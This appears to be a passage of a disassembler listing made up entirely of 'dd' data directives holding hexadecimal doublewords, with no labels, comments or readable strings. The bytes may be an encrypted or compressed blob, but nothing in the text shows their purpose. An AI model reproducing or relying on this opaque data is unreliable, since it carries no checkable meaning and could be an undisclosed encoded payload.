		dd 2EE2485Fh, 7B1EE800h, 77D32204h, 326D010Eh, 0E68608F7h
		dd 2A342043h, 743E2300h, 5834F588h, 483F244Dh, 641B00ECh
		dd 17ECBC8Dh, 0E10D007h, 7040B904h, 5C12Bh, 4FEB5985h
		dd 0FA251C8Fh, 0A108AB01h, 0A4ACDAC6h, 71D2D4E8h, 7E4705Ch
		dd 0F53134CEh, 0B327501Bh, 5BF2D129h, 2AC7DD07h, 0CFCF17E6h
		dd 0DB6742DFh, 50D353A6h, 0DD02B487h, 0D9202352h, 8DF519Eh
		dd 8B0B1238h, 0AF655495h, 1871B97Fh, 29B58910h,	80B802E1h
		dd 0BBB96623h, 124E929Eh
		dd 0D2158D8Bh, 0B755C0BCh, 520600BAh, 9723A0D9h, 0FAF1D500h
		dd 9ADBE181h, 0EF4B5E1Dh, 8613E37Ch, 178DD044h,	0BBA6409Dh
		dd 1122DDDAh, 2AE51A84h, 23D46BBFh, 9170214h, 8DA4C19Dh
		dd 97C3BB66h, 29A41C43h, 0D0179285h, 121FF0EEh,	0D9A70282h
		dd 905F012Eh, 0BA52E851h, 0D2B3CF02h, 0DC310F2Fh, 37F44033h
		dd 320060D3h, 0CE76EB6Fh, 7E48A81h, 0C9D4831Ch,	5A5F81DBh
		dd 0A5E42158h, 0DCCF664Ah, 3116210Ch, 52E41C6h,	0A18D0190h
		dd 0AD51082Eh, 2ED9A7h,	64444836h, 0B63EBA34h, 0C05AB266h
		dd 25787CD0h, 601D4D5Fh, 7269A05Fh, 0F57E051Ch,	95FF6582h
		dd 0BD3D7D2Dh, 0FCE5DA80h, 3A4253D8h, 890BDC2Ah, 9B402185h
		dd 37C38B59h, 66D1952Bh, 0F5D822F5h, 25C98A7Bh,	8035E08h
		dd 5A190371h, 0B215EC28h, 0DA0008Eh, 0CD3F69A7h, 8ADD09A6h
		dd 3E0259D5h, 0B44602A1h, 0FB03A445h, 8C13CC41h, 23124716h
		dd 0A2A091BDh, 8FEF0A68h, 28E5A5F0h, 641F24C3h,	7BC4BF09h
		dd 5081D405h, 0CDECEC3Ah, 3A4AB92h, 81F0A159h, 123DC930h
		dd 0E9716A28h, 0F8CFB8FEh, 586013B9h, 8964CCC4h, 4AD9D13h
		dd 0EC096ADCh, 0FF345FBDh, 0E48EE74Bh, 59510C5h, 76B35A18h
		dd 30D11700h, 0F5E18CDFh, 7914B6EEh, 42BB61A7h,	6E9E41A5h
		dd 10B1A250h, 0CBCB0FD1h, 57F67D54h, 0B464C7E1h, 1C975403h
		dd 1FF868D3h, 8F96BBD4h, 0E5B5EF93h, 0C969B24Eh, 0B9AE01DBh
		dd 9559D174h, 2EF7148Ah, 4BD3C993h, 642E070h, 0ABFC9EE9h
		dd 0A1E05884h, 5E804891h, 0C7544B8Fh, 0CD59071Bh, 0F9458501h
		dd 20C76228h, 185524A3h, 27A3487Eh, 0F0D0ECFBh,	650802FEh
		dd 2EB03871h, 815B18D7h, 0CC720ACFh, 38D852DFh,	0E09133A1h
		dd 207F602Fh, 89CD485Ch, 0CAA003AAh, 719F7AF4h,	6B758DC1h
		dd 0A8817E94h, 61001D35h, 410BEF81h, 4C258F47h,	0FD34A0BDh
		dd 72E88121h, 6D390140h, 810FD41Fh, 92D45D6Bh, 0E9432283h
		dd 0BBD55E80h, 1C033671h, 91BF5075h, 6472F255h,	430AA221h
		dd 0FE958716h, 0F860C2F4h, 4B750BBAh, 6B71840Fh, 61097085h
		dd 0B98DA3C1h, 11586225h, 0D0B7240Fh, 0AD95E1A3h, 9B2F0921h
		dd 94E18E23h, 25BE42F3h, 72F960h, 2581C390h, 65004F07h
		dd 0A618536Eh, 120B8C72h, 0AA197595h, 9D0099B6h, 4652D2Ah
		dd 7A15BB08h, 89BC613Ch, 70475B6Ch, 0D602C09Ah,	706C0598h
		dd 8C10D78Bh, 0CF3A0412h, 0D4010036h, 4E8F9BC7h, 105B0009h
		dd 5FF8E32Dh, 0D900C068h, 0D6BF71D3h, 94348EB6h, 96C3016Eh
		dd 3A516931h, 9D437188h, 2949E298h, 0B07A107h, 0FD51FF67h
		dd 16785A9Bh, 311725D4h, 0DC8EFB18h, 3ECA6A5Fh,	0FBE902BCh
		dd 852ACAFDh, 0D20BF9FDh, 572F29DCh, 1A3E8A59h,	818BE995h
		dd 121FF8A2h, 0EF97E708h, 0E8166009h, 0A9568DA3h, 984924E2h
		dd 1529E960h, 0B42BBD8Ch, 0D7C8BC05h, 0FE60A534h, 0A267B4h
		dd 0E76833E1h, 0C4C3A563h, 4609A314h, 49326E1Dh, 60A01261h
		dd 58DABF6Bh, 570CB12h,	0AB491CB9h, 0D39E2442h,	0CCE2BA7Dh
		dd 0CB760709h, 41C64A6Dh, 0D458CEC0h, 0D0F7568Ah, 8093DB5Bh
		dd 4577D7F6h, 14DDF009h, 0F5C9BF0Fh, 80EF9B4Fh,	0D4162A5Ch
		dd 28BB7E32h, 45F4F596h, 0ECC26EF8h, 9529032Ch,	0BB7404C3h
		dd 1BD0913h, 5B680E41h,	4564C708h, 0F438B2D1h, 4D14D118h
		dd 0FE0060ACh, 3784C0F8h, 813563h, 71A55BC1h, 4E1F6821h
		dd 70B89632h, 0E1A648CAh, 476A16B1h, 2047EC51h,	0B45A5A10h
		dd 2F41D9A5h, 41C1E360h, 0E9EE8A16h, 0E81A0607h, 0DCDBD6FBh
		dd 9BBBC700h, 41669E13h, 0A1AE4EC9h, 10D5C691h,	86121FD1h
		dd 6CCFB132h, 28734203h, 0D000EAB5h, 0FF865368h, 14E822D8h
		dd 84F0BD00h, 9AF3EE67h, 0DEB00088h, 7DD7CC9Ch,	0FBE2EC6Fh
		dd 0BA029776h, 4411E0C4h, 0AD8EA059h, 0AD270179h, 34D4606Ch
		dd 98EE5E2Ah, 0A0E23F1Eh, 646753DCh, 44290093h,	0BCD40877h
		dd 28E35A56h, 5E0F48BDh, 4E6A4BE4h, 815DDB0Bh, 8610AE6Bh
		dd 0A120C5CDh, 81A3AAB5h, 903809B9h, 5B876C64h,	0A6F2C1h
		dd 83A94881h, 466CD3h, 3462C8BBh, 0B310A1E8h, 60D73F07h
		dd 83295F61h, 1EF38B15h, 0D3A48750h, 0B83EA990h, 0A086006Ah
		dd 1E986956h, 6F580B8Fh, 162D10A9h, 502B902h, 43425C62h
		dd 63A11CEAh, 0A3BFB58Dh, 0FD7894DBh, 93B10567h, 8D96D182h
		dd 5BEC7E29h, 797490C0h, 0CC013305h, 0F17AEEBCh, 0DB2A9650h
		dd 8A8C8045h, 0EE4E1C01h, 0C15CBF56h, 6215B961h, 24E9F331h
		dd 9683DB2Eh, 7D7E0D01h, 0BD0C4F0h, 3531258Dh, 371B722h
		dd 0C8B47457h, 0BD005A7h, 4A4182C0h, 967B3D7Dh,	0D69CA823h
		dd 0FE029BA8h, 76DE92Dh, 4C93D55h, 0ACF3E886h, 588D2EAEh
		dd 0B2420E17h, 64B58BC8h, 0F9B10544h, 0BF20468Dh, 51A2B767h
		dd 0C609090Ch, 0DC66D4h, 672A0FEEh, 20841BE4h, 0B68A920Bh
		dd 0AD13F199h, 63503BFBh, 65AA05DCh, 0C39DFDDBh, 0AB581D4Eh
		dd 0CC8A751Bh, 54CEDC21h, 2093E429h, 7D9D893Fh,	0E7121B41h
		dd 1FA9DF84h, 0A5C0146Dh, 2231031h, 0DE80F247h,	448BE9C8h
		dd 0F6DC8A7Eh, 0B710416h, 0C0BBB699h, 0FC606242h, 207E8018h
		dd 0D65884E8h, 0EEA45763h, 0D928E8D0h, 315F95FEh, 0CD7F606Ch
		dd 0C166404Bh, 859F5A61h, 9455157Dh, 2BDB4B0Ah,	19FEE380h
		dd 9D0BBC31h, 0A9CEB762h, 0E4808456h, 3B6AFE34h, 830CEB0Fh
		dd 0FD2B1A1h, 29C2788h,	5EE9A3FCh, 3F5E5501h, 7DB60EDEh
		dd 9AE379F8h, 5A09622Eh, 0E48C67CAh, 0D3550231h, 60A8A69Eh
		dd 17D1FCC0h, 0CAAC6082h, 0A9405861h, 15A525C0h, 0E0007B8Dh
		dd 0AC84D7DDh, 2750EA48h, 5AD9232Dh, 81826012h,	985570FDh
		dd 0FB905F1Ch, 78A06511h, 3B7B5h, 42F0CB7Ch, 570230D9h
		dd 311F8633h, 4B5D7A95h, 34372050h, 7200AA73h, 358133C8h
		dd 0A3C47FDh, 9AB68668h, 159178Eh, 17BF0479h, 8656C5B5h
		dd 0A33B9A8h, 0B0FA79ABh, 135124CCh, 0C4D453BAh, 392CE69Ah
		dd 0FD8AC5Fh, 0EFA805DEh, 0BC876A9Eh, 5FCB09CEh, 0DE38FC58h
		dd 4DE86150h, 0B8B21E5Bh, 2FA2C94Bh, 0BE80429Bh, 0B95974B0h
		dd 0E113160Ch, 0E9F16431h, 6479E901h, 952D0B68h, 80A182F5h
		dd 4F705838h, 0FDE085D6h, 0CF5F8200h, 3190E18Bh, 1530BA14h
		dd 0CB69BD23h, 52CD48C5h, 0F627EBC0h, 0E7C702F0h, 3B301028h
		dd 2190DF46h, 0C1216845h, 89B5907Bh, 2850B5BDh,	0B8C95C62h
		dd 8D5B5553h, 842EE9D3h, 892F4E94h, 5762932Dh, 0DC6DDCh
		dd 0D7C2C046h, 860FCBE3h, 0E700219Bh, 0BF407C13h, 14E02F38h
		dd 0E2ECA104h, 46842E38h, 8C643037h, 1FB6398h, 0DB5CB990h
		dd 0D850119Bh, 3427A784h, 0F55CE04Eh, 0DA818016h, 0FB164C77h
		dd 0A8CC0377h, 27DC8813h, 24765103h, 986F47F6h,	0E40ABA8h
		dd 4DED302Fh, 0FC06F7C2h, 92D71062h, 21D457CDh,	0FFD37FC3h
		dd 774D6162h, 92F40890h, 0A6FF3609h, 3F84E63Fh,	7C15B2h
		dd 3A827294h, 17EDC206h, 5F5ADE1Ch, 69305093h, 720B54h
		dd 71C5F57Fh, 51B89698h, 9C99011Dh, 6B259D01h, 56616D26h
		dd 4F596F60h, 128A6E90h, 0AE48DDh, 0D03FD6B8h, 419DADB5h
		dd 82042304h, 12DD0B43h, 0CA3F49ADh, 7F2D2F75h,	72E20CB8h
		dd 99378A09h, 8B5DB13Ah, 1BD8BA20h, 7371B501h, 6C5842A9h
		dd 15AE80E2h, 7AB621F8h, 0D2C30913h, 2492CEA2h,	2D3D7655h
		dd 0E270E9DBh, 26325E9h, 280D363Dh, 6E6B3EC6h, 6B610257h
		dd 0C6F23982h, 83413D85h
		dd 58AA7485h, 0D3C048FCh, 0B1080CA4h, 1E6A0B08h, 9671FBD3h
		dd 0E4CFEB30h, 6E3C0758h, 0DC509054h, 0D8FB6604h, 315E0F62h
		dd 37953C8h, 0F293E102h, 52900626h, 54012239h, 8BCD429Ch
		dd 0C83D585Ah, 0F688BA4Ah, 2FCEEB3h, 8D709E15h,	0EBFB9028h
		dd 0E398F70h, 9E7A0DC5h, 243C8BC7h, 802598C8h, 0AEE8C63Eh
		dd 0DE52D8h, 1EB73298h,	0D7217B2Ch, 2B00BFB0h, 0C2815846h
		dd 487549D1h, 188B3B15h, 0CA67F574h, 1A3D4B4h, 37E96104h
		dd 3995A401h, 0B4140441h, 6700C2B3h, 0D9117BBCh, 5A5039E5h
		dd 4679B9A3h, 0A829552Ah, 83EDFBA0h, 0BD3C9059h, 9520AE2Ah
		dd 0B1D1870h, 14718D89h, 55FA18CAh, 0C778279Bh,	29D10983h
		dd 1B62459Dh, 955BA378h, 2EC23E58h, 0A7F09610h,	6D95E5DAh
		dd 3790C02Ch, 0FB04549Fh, 1F59D89h, 0B9B660FFh,	25099E70h
		dd 261AAAEh, 7B34D99Ah,	4B0191E7h, 0F1EDB920h, 2BD200E2h
		dd 1050777Ch, 0B4E2EE48h, 0C9640703h, 94CE94Bh,	1D8D032Dh
		dd 61127CDCh, 11003A6Fh, 29B0C9DBh, 5932B3CAh, 0AB19AC60h
		dd 15F703CCh, 0C463592Ah, 1CC6810Ch, 0CA4EE9BBh, 178B6AA0h
		dd 0D907F9BDh, 2480C14Bh, 5016D740h, 93D59DB1h,	4BF89E1Eh
		dd 0E148A8B3h, 82C4BA80h, 7D906719h, 25ADC702h,	5F6A69B0h
		dd 0AB802337h, 4757347Fh, 0D1A901B6h, 852938D2h, 139F5519h
		dd 80E1DF40h, 0B52CC010h, 0E4250A0Ch, 0A89734A1h, 0A751BC41h
		dd 8F283190h, 4A847500h, 6FC7A872h, 0BD9A0076h,	1DAC476Dh
		dd 0EB128A81h, 16338B5Fh, 1774B789h, 811064EAh,	3A2A8E96h
		dd 2B7C1289h, 0CCCE1B25h, 0E1E010ADh, 6F44F30h,	8B3FB7A9h
		dd 0FD027290h, 890F50CDh, 49D3D40Ah, 0F000E0C6h, 0E98190CBh
		dd 4B512624h, 7C1982Fh,	2593288h, 17FA4F96h, 857F5015h
		dd 25AEC294h, 0C60FBAFh, 0A8E50Eh, 51C459F0h, 0D71F07F5h
		dd 0CDFD6169h, 0C165C1AAh, 0C45209Fh, 8B52BB94h, 33E0A1F0h
		dd 5D2E8D95h, 0A598900h, 15D9EA71h, 1C047918h, 0E75B589h
		dd 0E14A3DE9h, 2FF271C7h, 0A723197Ah, 5E0BA659h, 988048DAh
		dd 3A81E9Bh, 0F54BBA01h, 870F0795h, 98797532h, 47D2830h
		dd 7117A079h, 0B6584B24h, 0B9B5E76Dh, 2A1DA304h, 1F2C2DCh
		dd 3B2EE53Ch, 6A08C2E3h, 0E9C1029Bh, 0A64586C9h, 2909B6AFh
		dd 7680294h, 82530620h,	0E4277D25h, 1DB13BA9h, 8A0130CBh
		dd 0F30048DBh, 0E3F1FCCCh, 0FE55FDh, 0B41A749Bh, 6C5C5793h
		dd 0D98D2917h, 42A81F1h, 72FADABh, 5E56C081h, 4B57F4Ch
		dd 0F5BE69BFh, 0FC93C031h, 0CE4F0A58h, 88F2A073h, 0C030FF22h
		dd 0A659C90Eh, 9571015Bh, 0EB593460h, 1766EFA9h, 0E28F0F4Ah
		dd 0C3057D33h, 688A5CC8h, 7B00CEBh, 9000F333h, 0B6207701h
		dd 0B41889B4h, 9DB5C1CDh, 0E82D811Ah, 154F04A3h, 0C01CE88h
		dd 0EC199F46h, 613BA2EFh, 638A5CEh, 0B4B50913h,	94000B3Fh
		dd 13411043h, 0F071027Ah, 33850363h, 0DE97DAA8h, 0F40855A0h
		dd 8F407D00h, 142131F6h, 0EFE40377h, 539486C0h,	0DAF8380Eh
		dd 591199E7h, 38EC0C40h, 589660C4h, 0D2FA50C1h,	0EE1EBEE4h
		dd 29B08754h, 1044980h,	0D36474FEh, 8CD7A1FCh, 995A1819h
		dd 0C261F036h, 912AAB30h, 5BFC3160h, 7687DB0Ch,	1D74A895h
		dd 401127D4h, 0E68B4DE4h, 1000237Ah, 52041D77h,	60F26FAh
		dd 4E9A7F05h, 8D06B1BAh, 0D350A0A1h, 9432020h, 790E0798h
		dd 0E753BF1Bh, 0CEE4DA2h, 694D997h, 7B75C6D0h, 8DF61141h
		dd 43B8BD01h, 54441A83h, 86019BCh, 34C220EBh, 0F7A7150Dh
		dd 0E191507Ah, 878D0630h, 0C8C162h, 6981FCB8h, 776567EBh
		dd 18A08E30h, 1E016FEh,	649A6230h, 9F94DBD2h, 0B70CFA08h
		dd 18D8B8F3h, 0A9B25AD5h, 68299F26h, 421C8C2h, 0C091ABD0h
		dd 545D33F1h, 370012FEh, 1DF6E270h, 0FCD9058Dh,	0A772BBh
		dd 0EBC7DAE6h, 4BC5A8BDh, 64C8CA00h, 3FE7A92Ch,	0F28F0032h
		dd 0BE761726h, 21007BCDh, 0D5AE3DD0h, 7EE89h, 774E834Bh
		dd 0E720CEECh, 5D7E2E00h, 1CAB5851h, 0D990191h,	8FB9EC5h
		dd 6FC66041h, 9B54BF00h, 73BAEBEh, 6AA4008Ah, 4F7FA9E7h
		dd 0FA247D76h, 6900738Eh, 839C0774h, 5A030026h,	5AF6B77h
		dd 0FD00D844h, 0CA4990B9h, 12A06Eh, 0F6854676h,	0A5231C30h
		dd 0FF4DC305h, 2AC00D01h, 0E58E2Dh, 0AD37B105h,	78993DC8h
		dd 2F0AF600h, 7A73CB92h, 14107DAh, 62AEBC81h, 0A5C033EDh
		dd 5C3DFB80h, 0DCFD03E9h, 0C97DD7Dh, 50BCF21h, 75001181h
		dd 30F88645h, 68D159h, 618D9BEAh, 48975D88h, 3BD780A0h
		dd 0E1612AF4h, 5AF29811h, 3BF9FECh, 5D925966h, 95B0DF2Bh
		dd 6000B03h, 0B24CC6F7h, 2AB587ACh, 0F4D6F8h, 0BCAB4A39h
		dd 4550652Fh, 0A8443530h, 30B793CDh, 3D111BB1h,	9101A6A2h
		dd 715DE0D9h, 14249A0Fh, 5EE085h, 7883D1E4h, 4878B0Bh
		dd 3AD77700h, 0E121A550h, 5E6C07DEh, 213789D1h,	8091293Ch
		dd 83B71159h, 180AB612h, 0D001549Fh, 0EC3A6C18h, 0BA3200C2h
		dd 6D172C3Ah, 3D4D3058h, 7A76F539h, 0E87CE900h,	4A67868Ah
		dd 97B700A6h, 1FCCD919h, 0E200B162h, 4EB6A920h,	0F01022h
		dd 675FFE8Ah, 0CD35D160h, 0C982D200h, 0A4761EE1h, 1C68000Eh
		dd 45B3987Ch, 0A0B04AC7h, 0C5402600h, 0B9A918CDh, 0F17FADh
		dd 79421A86h, 2A6B59D1h, 0F6CFFF00h, 192958B8h,	6F70020Bh
		dd 0AE3AB58Ah, 0A17BB4A6h, 51922A00h, 8FC6951Eh, 2F2102DFh
		dd 0CDA8D4B1h, 0E95E0440h, 4E46BE00h, 2E3A2797h, 2480077h
		dd 4BEDBD96h, 9E00E8D4h, 336C457Fh, 188FBFCEh, 7099FA95h
		dd 0F188C2B0h, 0B16D0019h, 0E8119B73h, 8C0088E0h, 2AC33DE3h
		dd 70BA532h, 21A2BE9h, 76AC40A4h, 2100ADEDh, 7149CBAEh
		dd 3D249Ch, 0D7AA4A7Eh,	83C6AC2Ah, 6E39C70Ah, 2181D465h
		dd 34C1E115h, 3321180h,	0A34D79F3h, 68F5F900h, 0FF0B67FCh
		dd 0E4BC3CAEh, 1006FBFh, 0E9D18ADAh, 0E80414E6h, 6620B841h
		dd 0C4CA4C8h, 0C5A4C8FAh, 730A4498h, 0FC324AE2h, 0F172AA01h
		dd 0A9E4110Fh, 932D00BAh, 1DE41E4Fh, 9900B2C5h,	76466B90h
		dd 0F2CF2CAh, 0BF0B0741h, 6EAD8260h, 0ED00B75Ah, 0D2B460D3h
		dd 1023488h, 0E8BBA4B1h, 70C722DCh, 8100D641h, 0F75EECE3h
		dd 1EA976h, 8E10F191h, 0A2C53088h, 0D0136D00h, 0F5401AC7h
		dd 35EC00D5h, 0AED27420h, 0EB026046h, 0C5455290h, 32E4C067h
		dd 0D396003Bh, 1456835Fh, 9006AA2h, 0E960BB01h,	0C88F5h
		dd 7936F4A0h, 0C8D27851h, 0B05249h, 0E06C68C2h,	7353F3D8h
		dd 0C5B00009h, 47016ECh, 200C984h, 2630B474h, 0DFFFB9h
		dd 7C49836Eh, 0E5C3A91Bh, 2313990Eh, 0FA72C73Eh, 44FF6B10h
		dd 2CB9009Eh, 2118FC7Ah, 52134065h, 7007BB3Fh, 27309207h
		dd 7644C8h, 0A212CE7Eh,	0FDAA53F9h, 0BBD40150h,	0AC721AE4h
		dd 0CC928A24h, 0B100DC16h, 0DBF9B5BCh, 0CBFE00BFh, 78064803h
		dd 2B001B14h, 6A6B092Ch, 91928Eh, 271396B6h, 0E05CBAD7h
		dd 7D19BE04h, 8CC046D8h, 14BCB0Fh, 53E952EAh, 80186DB3h
		dd 8CE10918h, 7BCDB7Bh,	2945CE72h, 0E7D205Dh, 0A20201DEh
		dd 141E3098h, 0D064C894h, 493903E3h, 0A46AFC4Eh, 0C7A9D2B0h
		dd 63C68201h, 8012C0BFh, 0D650A8DBh, 2834188Ch,	411E306Eh
		dd 2E9F621Fh, 0DB880E00h, 7136FFh, 0DA8135E9h, 18228942h
		dd 9C78B000h, 3DC660AFh, 0F55987Ch, 349010DCh, 0A3BD00D7h
		dd 50CC3AA4h, 0FAEF6C07h
		dd 81937B69h, 0A211B853h, 0D8A0079h, 78B22F8Dh,	71006928h
		dd 0D7999DD4h, 7C6CBF9h, 61E98C1Bh, 44938901h, 704AFEF8h
		dd 0EDA1FB00h, 0A03C328h, 0F09C0268h, 4072C2A6h, 0CF25A040h
		dd 0DD94AF00h, 3CCAE5Ch, 0DCF3043Ah, 0C01C54F7h, 98721AA0h
		dd 0FE0F36F2h, 0E7C9FC71h, 34602DC2h, 66BE06h, 5D5B4451h
		dd 7DFF22E9h, 0E369D3Fh, 0A01CCD77h, 0E12DCC96h, 12800024h
		dd 9FAB0CC6h, 291FF611h, 0D6409BB5h, 2B8C46FEh,	0EC6FE437h
		dd 0BF980004h, 9EF9490Fh, 6D001862h, 0D72228E9h, 0F6B1CF33h
		dd 9BAB0070h, 48111E2Ch, 3C0054F8h, 0EE4DDEDh, 3F4A963h
		dd 6E7466EFh, 0D0A4FDCFh, 0D2C53A80h, 7C107826h, 0D371BF00h
		dd 0B0BD4C2Eh, 0F0990048h, 5AA3A86Bh, 0EB004FB4h, 3317FC82h
		dd 4BE46C8h, 738F317Dh,	36338008h, 5024D92Bh, 1B007CF2h
		dd 76FAE638h, 75C730D3h, 507EF471h, 0B89D890Fh,	72FA2107h
		dd 1040C3D3h, 9A507AF2h, 0ECC0370h, 16DAF095h, 0FFBFFCA1h
		dd 0C1831878h, 119E4B0Ch, 7812EFEh, 809A63F6h, 7815B0BCh
		dd 0B7FA0600h, 0B875832Fh, 0A59CF4Fh, 90985D05h, 0E6401BCCh
		dd 2FC7F200h, 19709938h, 9CB20091h, 0A7933D2h, 0BC00DE3Ch
		dd 0A4E6581Dh, 5083711Bh, 24132034h, 8CA00691h,	0C1D86D89h
		dd 9148574h, 143583h, 4D47D27Bh, 0FFBE91h, 0BF993950h
		dd 8233B67Eh, 550C0600h, 2C200916h, 95770014h, 6E51C18Eh
		dd 8700B6ABh, 0DAA1E990h, 4079D9h, 21F95789h, 3F711D8Fh
		dd 0DC06B000h, 0A4916287h, 16C13824h, 979D5401h, 0F469E3E9h
		dd 0CC07226Eh, 7FE21F6Ah, 0B1039E8Eh, 90AF91B3h, 577DAF4h
		dd 855C556h, 1CE01FCh, 50517CA3h, 345C339Ch, 56DAEE01h
		dd 46D29895h, 213D0898h, 341F5411h, 0F44155EFh,	7F10334Eh
		dd 4378070h, 0C7A7157Ah, 0C5E8A080h, 5503AB18h,	92FAAC68h
		dd 0F68B0000h, 7710472Eh, 19ECC71Fh, 0C14DA400h, 850BED24h
		dd 5557300Eh, 18DF9420h, 0ABE5A114h, 165DE120h,	710A2C18h
		dd 0D8057BE5h, 55ACE280h, 90AD8B09h, 0B5833310h, 21001908h
		dd 6855A445h, 3C3E742h,	0BD3C8CEDh, 0C900239Eh,	0D2FA318Dh
		dd 107681CBh, 647A2A7Ch, 0AE60E768h, 8B230755h,	1C11DDh
		dd 4C55A647h, 79A530DFh, 3F3890D1h, 68ECB3A7h, 5B4192D8h
		dd 2B09FF1h, 9BA0AA18h,	9A3F3090h, 0B8EB281Fh, 8287DA0Ah
		dd 0DB02E4B4h, 44A9FC94h, 0D098F8h, 0FFA6190h, 0D7F20630h
		dd 67602F74h, 90E9B821h, 56A0322h, 0AD0E8FD9h, 1EFA4806h
		dd 1460111Bh, 7479B67Bh, 0A901E423h, 0B58B0C55h, 42881718h
		dd 9D5501A1h, 0EF16FA19h, 9E58411Ah, 8CFE08BBh,	5F90EF02h
		dd 192FFFFAh, 0E7B61066h, 2A170690h, 680ABB7Ch,	0BD5CF948h
		dd 277B30CEh, 0C3896A00h, 0FD8661D6h, 0A8B7623Dh, 580C0993h
		dd 5F488CA6h, 2EDA1478h, 0A848882Ch, 0BE340056h, 0A028176Ch
		dd 0E9FA1214h, 0F580ED00h, 0C0AA0493h, 59C8C49Ch, 9514D39Eh
		dd 7B7242F0h, 3EFCC100h, 0AABE7705h, 87CF3F1Bh,	0E0808C9h
		dd 40283DF3h, 15D1A33Ch, 6CCEA7Bh, 248AFEEBh, 5038DC20h
		dd 0FC28017Eh, 79167C85h, 1DE25423h, 0EAC6BC30h, 480800B9h
		dd 9FDB4559h, 1492A532h, 27F1610h, 42815401h, 4809877Ch
		dd 48CA1CCh, 0DAEC345Ah, 20476246h, 0C8345213h,	8E92B100h
		dd 752EFB9Bh, 7F5F4464h, 4AE20E43h, 2069A30h, 0BFA7235Eh
		dd 284865ABh, 66004592h, 0FD1B012Bh, 0EF90A5C3h, 0FE3413E4h
		dd 1D9EE65h, 9BA7DEF5h,	406ECBD6h, 0FE595BACh, 87604C6Eh
		dd 95855253h, 0BB4E840h, 0C1BA9C5h, 1375E610h, 21C0AD09h
		dd 8AC503D4h, 387D35h, 94F933E2h, 1B0F4774h, 0EA089091h
		dd 498000C3h, 9984AA63h, 11F09D82h, 2E7F806Dh, 0BA5866h
		dd 0DD4830BFh, 0F574EFAh, 94CA38A0h, 308C891h, 90EC60AAh
		dd 0D743FA5Ah, 9E4B184h, 73C02D6h, 2CAA0279h, 0D7068470h
		dd 1CE38313h, 6B632020h, 18E644A1h, 0A5508ABh, 1FC4A58Bh
		dd 55A34442h, 81FF90E0h, 0B703400Fh, 5924A73Ah,	0C47B4E45h
		dd 0E7234600h, 0E5A8FEBAh, 21341849h, 2C63D1Bh,	0DAF13461h
		dd 0C001C3Eh, 443B3459h, 4EBC84Dh, 0EEE68B72h, 0BFE4C857h
		dd 3AB76E40h, 5C50DE59h, 9588C54h, 521B3897h, 3AA225Ch
		dd 28C501D6h, 0F8EAF3E7h, 691D1C82h, 4BCE1CC0h,	112C1782h
		dd 464980B0h, 1C6B1CFh,	0FC832378h, 6D08DAA0h, 76FE1608h
		dd 987B4C4Eh, 1CF9F1F9h, 4B9D8FCh, 82B8EE25h, 82099700h
		dd 619A724h, 5A20A001h,	3CF24821h, 79AED610h, 2431BC01h
		dd 7A77CAAh, 8C762032h,	38346032h, 4BC0B136h, 34580D10h
		dd 1AB5D500h, 87DB054Ch, 8CAB5866h, 0A8C65F8h, 4F0A5962h
		dd 9FB14FD4h, 0D409C553h, 5C301C18h, 3F1E7BD3h,	6D204170h
		dd 6D48696Fh, 4CFA2ACCh, 80AA0221h, 0FA5B90EBh,	0E8912FDFh
		dd 90E3B260h, 0E43400D3h, 9B0C0EF7h, 0F201D935h, 0EAE25D61h
		dd 1434A3F0h, 42CA401h,	0FA5C90EEh, 216A62E7h, 0F890E6B3h
		dd 3A0F085Ch, 0C61D9A20h, 782178ABh, 3BF40034h,	11D024C4h
		dd 18946C07h, 0D17C0FDCh, 87C4FA82h, 12A909E4h,	44D8C730h
		dd 0DBF3601Fh, 8C903B56h, 87BEB300h, 0FA54FCA5h, 4B7914B1h
		dd 6E002A18h, 6A9B1101h, 7B7DF222h, 801EB837h, 80C30ADCh
		dd 7C0853D2h, 0EA35A06h, 50A03C71h, 0E1A60A6Ch,	5C6DBB1Fh
		dd 0DA9B2DC0h, 13FC0B90h, 3A53B8EDh, 2A72354h, 0DA3950C7h
		dd 6E446447h, 17EBB960h, 0F28A9317h, 0C766CF00h, 28540425h
		dd 30A182FCh, 8471A65Ah, 0FB003540h, 0ADFEDF21h, 0F09346h
		dd 1C4D8E30h, 5CC53436h, 0C0E4A914h, 1EA23D8h, 8B0655AFh
		dd 881B18C5h, 551CA748h, 8245E2F7h, 44814AE6h, 6401F0F3h
		dd 23A9E197h, 306AE28Ch, 0A337AA89h, 97606B4h, 1DE946A0h
		dd 8BC855B0h, 4516C4CDh, 8700A849h, 92702782h, 1FC00FFBh
		dd 17368FBFh, 23802F5Ch, 41E1616h, 3D3A04h, 64D0D2F4h
		dd 4EF10250h, 1CE72EFCh, 8AF28081h, 0A234336Bh,	1BA430A8h
		dd 8161C776h, 98B38BA8h, 3DA2C073h, 2814530h, 50E310DEh
		dd 147062C1h, 50AAF220h, 42C788D2h, 0E2B04295h,	63A4301Bh
		dd 6DDBB900h, 774E0AFAh, 1B6F03ABh, 9BF7114Ah, 0D8E3D91Fh
		dd 0B8505E52h, 0B8122480h, 0EA007C20h, 0F04D4BD5h, 887E10h
		dd 268170BDh, 78633ADBh, 0C0EC9D0Ch, 4227B012h,	0AC805C7Eh
		dd 54FC8C1Fh, 6157E400h, 827648Ah, 1DD70A6Ch, 91D88B6Bh
		dd 0C5088155h, 0C7D21BACh, 2D51CE0h, 0B5D295C5h, 18A4D499h
		dd 0ED34085Dh, 10705EDAh, 0FB340B55h, 0B081A85Bh, 523B735Dh
		dd 0EB009FCCh, 9651CAF6h, 8D4A0108h, 0A058AF06h, 0C0C0A411h
		dd 0E2E68F6Ah, 1118B956h, 0C5068057h, 48F81BAEh, 0D7B03CE5h
		dd 0AD14C4FEh, 6884C69Bh, 58448878h, 0AFC50560h, 24E01B29h
		dd 0DA07AC11h, 0A0CFC4FDh, 7C4D32F2h, 78E94460h, 66C9F4h
		dd 403851CBh, 0D36F54C7h, 127C8202h, 0A0137BC6h, 8D3FD2D4h
		dd 5B16074Bh, 866ED1F8h, 6001CEF1h, 286CA89h, 0FADC0AF6h
		dd 8B4F1ED5h, 0F8361AFEh, 7C139C02h, 16D94C51h,	0AB256518h
		dd 9128A079h, 40F15A9h,	0FA0CF566h, 0F250E2ADh,	801E3048h
		dd 0E44AF800h, 0A13C22D1h, 294B1CEh, 37D6F6F3h,	1059C4E9h
		dd 0D5DF8Ch, 8BC77FC1h,	0F5DD8DA1h, 39F81A51h, 710BB80Ch
		dd 79550384h, 0AFD69B3Ch, 1C9414C5h, 0F8497610h, 0E2028CABh
		dd 39918EE4h, 0BEF4419Ah
		dd 3A981214h, 3F235Ch, 3A82EDE0h, 0AC92D836h, 0B370E0BBh
